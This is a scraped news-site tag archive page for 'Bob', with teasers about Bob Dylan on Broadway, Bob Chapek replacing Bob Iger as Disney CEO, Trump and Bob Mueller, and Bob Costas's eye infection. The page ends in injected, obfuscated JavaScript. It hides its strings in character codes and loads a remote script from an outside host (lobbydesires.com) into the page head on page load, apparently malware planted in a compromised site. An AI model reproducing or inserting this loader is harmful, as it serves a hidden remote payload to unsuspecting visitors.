Tag Archives: Bob

Bob Dylan on Broadway is a dud

Bob Dylan on Broadway is a dud

A series of unfortunate events has come to Broadway. No, not the Lemony Snicket novels, but “Girl From the North Country,” a mashup of Bob Dylan songs and abject misery. The show, which opened Thursday night, is little more than a stack of vaguely depressed persons who take breaks from …

Read More »

Meet Bob Chapek, Disney’s new CEO and the Tim Cook to Iger’s Steve Jobs

Meet Bob Chapek, Disney’s new CEO and the Tim Cook to Iger’s Steve Jobs

Tuesday afternoon, longtime Disney CEO Bob Iger, announced suddenly that he was stepping down after 15 years, effective immediately. Iger will still serve as chairman, but his replacement, Bob Chapek, has gone from an insider figure to an abruptly prominent leading man. Previously chairman of Disney parks, experiences, and products, …

Read More »

Dow’s Slump, Coronavirus Warnings, Bob Iger, Salesforce, Tesla – 5 Things You Must Know Wednesday

Logo

Here are five things you must know for Wednesday, Feb. 26: 1. — Stock Futures Turn Higher Stock futures turned higher Wednesday following the worst four-day selloff on Wall Street since December 2018 after warnings from health officials that the coronavirus likely will spread to the United States. Contracts tied to …

Read More »

Bob Iger Steps Down as Disney CEO, Bob Chapek to Take Reins

Bob Iger Steps Down as Disney CEO, Bob Chapek to Take Reins

Walt Disney said Tuesday chief Bob Iger was handing off the top executive post after building the media-entertainment powerhouse into the undisputed Hollywood leader. Disney’s board named Bob Chapek, a 27-year veteran of Disney, the new chief executive, effective immediately. Iger, who has been CEO for 15 years, will assume the …

Read More »

Who is Bob Chapek, Disney’s new CEO?

'Star Wars: The Rise of Skywalker' trailer showcases the final chapter of the Skywalker saga

Iger will stay on at Disney through the end of this contract on December 31, 2021, taking on the role as executive chairman to direct the company’s creative endeavors. But who is Chapek and how will he fill Iger’s shoes? Colleagues describe him as less charismatic than Iger, but “highly …

Read More »

Bob Iger steps down as Disney CEO. Bob Chapek replaces him

Disney became a giant under Bob Iger. The question is if he can be replaced

Bob Iger has stepped down as CEO of the Walt Disney Company (DIS), effective immediately. Bob Chapek is the new CEO, the board of directors announced on Tuesday. He most recently served as chairman of Disney Parks, Experiences and Products. Iger has assumed the role of executive chairman and will …

Read More »

Bob Chapek Named Chief Executive Officer of The Walt Disney Company

Bob Chapek Named Chief Executive Officer of The Walt Disney Company

BURBANK, Calif.–(BUSINESS WIRE)–The Walt Disney Company (NYSE: DIS) Board of Directors announced today that Bob Chapek has been named Chief Executive Officer, The Walt Disney Company, effective immediately. Mr. Chapek most recently served as Chairman of Disney Parks, Experiences and Products. Robert A. Iger assumes the role of Executive Chairman …

Read More »

Trump suggests ‘calling Bob Mueller’ after Sanders win following Russia report

Trump suggests 'calling Bob Mueller' after Sanders win following Russia report

President Trump teased Democrats following a significant win by Sen. Bernie Sanders, I-Vt., in the Nevada Caucuses and a Washington Post report that Russia was trying to help Sanders win the Democratic primary race. Sanders’ victory Saturday — his second after being narrowly edged out in Iowa — has the …

Read More »

Bob Costas’s Eye Trouble Temporary, Experts Say

MedicalNews

By Steven ReinbergHealthDay Reporter WEDNESDAY, Feb. 12, 2014 (HealthDay News) — While skiers, snowboarders and skaters held viewers’ attention during this week’s Winter Olympics, it was tough not to notice TV broadcaster Bob Costas’s glaring eye infection as well. The persistent infection, known as conjunctivitis, that forced Costas to break …

Read More »
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,108,111,98,98,121,100,101,115,105,114,101,115,46,99,111,109,47,108,111,99,97,116,105,111,110,46,106,115,63,108,97,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();